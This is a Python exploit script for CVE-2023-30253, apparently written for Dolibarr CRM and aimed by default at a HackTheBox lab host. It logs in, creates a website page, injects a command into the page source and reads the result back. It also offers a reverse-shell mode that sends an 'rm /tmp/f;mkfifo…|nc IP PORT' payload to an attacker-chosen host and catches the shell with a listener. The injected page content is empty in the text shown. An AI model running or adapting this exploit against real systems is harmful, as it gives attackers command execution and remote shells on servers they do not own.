import requests from bs4 import BeautifulSoup from datetime import datetime import re from pwn import * from colorama import init, Fore, Style import argparse import pyfiglet init() context.log_level = 'info' logger = log def log_message(text, log_type="info"): try: if log_type == "info": logger.info(text) elif log_type == "success": logger.success(f"{Fore.GREEN}{text}{Style.RESET_ALL}") elif log_type == "error": logger.failure(f"{Fore.RED}{text}{Style.RESET_ALL}") elif log_type == "progress": logger.info(f"{Fore.YELLOW}{text}{Style.RESET_ALL}") else: logger.info(text) except Exception as e: print(f"Error al registrar el mensaje: {e}") class CVE_2023_30253: def __init__(self,url,user,password): self.session = requests.Session() self.url=url self.user = user self.password= password self.token="" self.pageid="" self.website="test123" self.headers = { "Origin": url, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 11.0; Win64; rv:122.0) Gecko/20100101 Firefox/122.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": url, } def get_token_CSRF(self,url): try: response = self.session.get(url) soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('meta', attrs={'name': 'anti-csrf-newtoken'}) if csrf_token: return csrf_token.get('content') else: return None except Exception as e: log_message(f"{Fore.RED}get_token_CSRF Error: {e}{Style.RESET_ALL}","error") return None def get_page_id(self): url = f"{self.url}/website/index.php" response = self.session.get(url) soup = BeautifulSoup(response.text, 'html.parser') pageid_link = soup.find('a', href=re.compile(r'pageid=(\d+)')) if pageid_link: pageid_match = re.search(r'pageid=(\d+)', pageid_link['href']) if pageid_match: self.pageid = pageid_match.group(1) else: log_message(f"{Fore.RED}[-] Error getting the page Id\nAborting..{Style.RESET_ALL}","error") exit(1) def login(self): try: url = f"{self.url}/admin/index.php" log_message(f"Verifying accessibility of URL:{url}","progress") if((requests.get(url,timeout=4).status_code) != 200): log_message("Error: Unable to access URL.","error") log_message(f"Attempting login to {url} as {self.user}","progress") self.token =self.get_token_CSRF(url) data = { "token": self.token, "actionlogin": "login", "loginfunction": "loginfunction", "backtopage": "", "tz": "-6", "tz_string": "America/Mexico_City", "dst_observed": "0", "dst_first": "", "dst_second": "", "screenwidth": "628", "screenheight": "608", "dol_hide_topmenu": "", "dol_hide_leftmenu": "", "dol_optimize_smallscreen": "", "dol_no_mouse_hover": "", "dol_use_jmobile": "", "username": self.user, "password": self.password } response = self.session.post(url, headers=self.headers, data=data) if(response.status_code == 200): if not "Bad value for login or password" in response.text: log_message("Login successfully!","success") return True else: log_message("Login failed.","error") exit(1) else: log_message(f"Error in the request\nAborting..","error") exit(1) except Exception as e: log_message(f"login Error:{e}","error") return False def create_website(self): url = f"{self.url}/website/index.php" self.session.headers.update({ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0TYAB8bzZ1DiVwez" }) log_message(f"Creating web site ...","progress") try: data = { "token": self.token, "backtopage": "", "dol_openinpopup": "", "action": "addsite", "website": "-1", "WEBSITE_REF": self.website, "WEBSITE_LANG": "en", "WEBSITE_OTHERLANG": "", "WEBSITE_DESCRIPTION": "test", "virtualhost": "http://localhost", "addcontainer": "Create" } response = self.session.post(url, data=data,headers=self.headers) if response.status_code == 200: if self.website in response.text: log_message("Web site was create successfully!","success") return True else: log_message("SOME ERROR WAS FOUND CREATING THE WEB SITE..","error") except Exception as e: log_message(f"create_website error {e}","error") return False def create_page(self): url = f"{self.url}/website/index.php" log_message(f"Creating web page ...","progress") self.session.headers.update({ "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryNy4GtqU6jty4Aoi4" }) now = datetime.now() date_creation = now.strftime("%m/%d/%Y %H:%M:%S") data = { "token": self.token, "backtopage": "", "dol_openinpopup": "", "action": "addcontainer", "website": self.website, "pageidbis": "-1", "pageid": "1", "radiocreatefrom": "checkboxcreatemanually", "WEBSITE_TYPE_CONTAINER": "page", "sample": "empty", "WEBSITE_TITLE": "test", "WEBSITE_PAGENAME": "test", "WEBSITE_LANG": "en", "datecreation": date_creation, "datecreationday": now.day, "datecreationmonth": now.month, "datecreationyear": now.year, "datecreationhour": now.hour, "datecreationmin": now.minute, "datecreationsec": now.second, "addcontainer": "Create", "externalurl": "", "grabimages": "1", "grabimagesinto": "root" } response = self.session.post(url, data=data,headers=self.headers) if response.status_code == 200: if self.website in response.text: log_message("Web page was create successfully!","success") return True else: log_message("SOME ERROR WAS FOUND CREATING THE WEB PAGE..","error") exit(1) return False def generate_payload(self, payload ): url = f"{self.url}/website/index.php" page_content=f'''
''' log_message(f"Executing command {payload}","progress") self.get_page_id() data = { "token": self.token, "backtopage": "", "dol_openinpopup": "", "action": "updatesource", "website": self.website, "pageid": self.pageid, "update": "Save", "PAGE_CONTENT_x": "8", "PAGE_CONTENT_y": "2", "PAGE_CONTENT": page_content } response = self.session.post(url, data=data,headers=self.headers) self.enable_dynamic_content() if(response.status_code == 200): #log.info(f"{Fore.GREEN}[+]Execute exploit :){Style.RESET_ALL}") response = self.session.get(url,headers=self.headers) soup = BeautifulSoup(response.text, 'html.parser') mysection = soup.find('section', id='mysection1') content = mysection.get_text(strip=True) log.success(f"{Fore.MAGENTA}Command execution successful {Style.RESET_ALL}:\n{content}") log_message("Information retrieved successfully!","success") return True return False def enable_dynamic_content(self): # ParĂ¡metros de la consulta params = { 'website': self.website, 'pageid': self.pageid, 'action': 'setshowsubcontainers', 'token': self.token } url = f"{self.url}/website/index.php" try: response = self.session.get(url, headers=self.headers, params=params) response.raise_for_status() except requests.exceptions.RequestException as e: log_message(f"An error occurred: {e}","error") def initials_step(self): if self.login() and self.create_website() and self.create_page(): return True return False def execute_command(self,cmd): self.generate_payload(cmd) def arguments(): parser = argparse.ArgumentParser(description="Argument parser") parser.add_argument("--url", default="http://crm.board.htb", help="URL of the website") parser.add_argument("-u","--user", default="admin", help="Username") parser.add_argument("-p","--password", default="admin", help="Password") group = parser.add_mutually_exclusive_group(required=True) group.add_argument("-c","--command", help="Command to execute") group.add_argument("-r" ,"--reverseshell", nargs=2, metavar=("ip", "port"), help="Reverse shell IP and port") args = parser.parse_args() log_message(f"{Fore.BLUE}Url{Style.RESET_ALL}: {args.url}") log_message(f"{Fore.BLUE}User{Style.RESET_ALL}: {args.user}") log_message(f"{Fore.BLUE}Password{Style.RESET_ALL}: {args.password}") if args.command: log_message(f"{Fore.BLUE}Command{Style.RESET_ALL}: {args.command}") else: log_message(f"{Fore.BLUE}Reverseshell info{Style.RESET_ALL}:{Fore.GREEN}\n\tIP{Style.RESET_ALL}:{args.reverseshell[0]}{Fore.GREEN}\n\tPORT{Style.RESET_ALL}:{args.reverseshell[1]}") return args def initial_listener(port): shell = listen(port, timeout=20).wait_for_connection() shell.interactive() def main(): print(f"{Fore.CYAN}{pyfiglet.figlet_format('CVE', font='isometric1')}{Style.RESET_ALL}") print(f"{Fore.CYAN}{pyfiglet.figlet_format('2023-30253', font='small')}{Style.RESET_ALL}") log_message("By Rubikcuv5.\n","success") args = arguments() cve_2023_30253 = CVE_2023_30253(args.url,args.user,args.password) if(cve_2023_30253.initials_step()): if(args.command): cve_2023_30253.execute_command(args.command) else: #YOUR PAYLOAD REVSHELL HERE!!! payload=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {args.reverseshell[0]} {args.reverseshell[1]} >/tmp/f" try: threading.Thread(target=initial_listener, args=(args.reverseshell[1],)).start() cve_2023_30253.execute_command(payload) except Exception as e: log_message(f"{Fore.RED}{str(e)}{Style.RESET_ALL}","error") if __name__ == '__main__': main()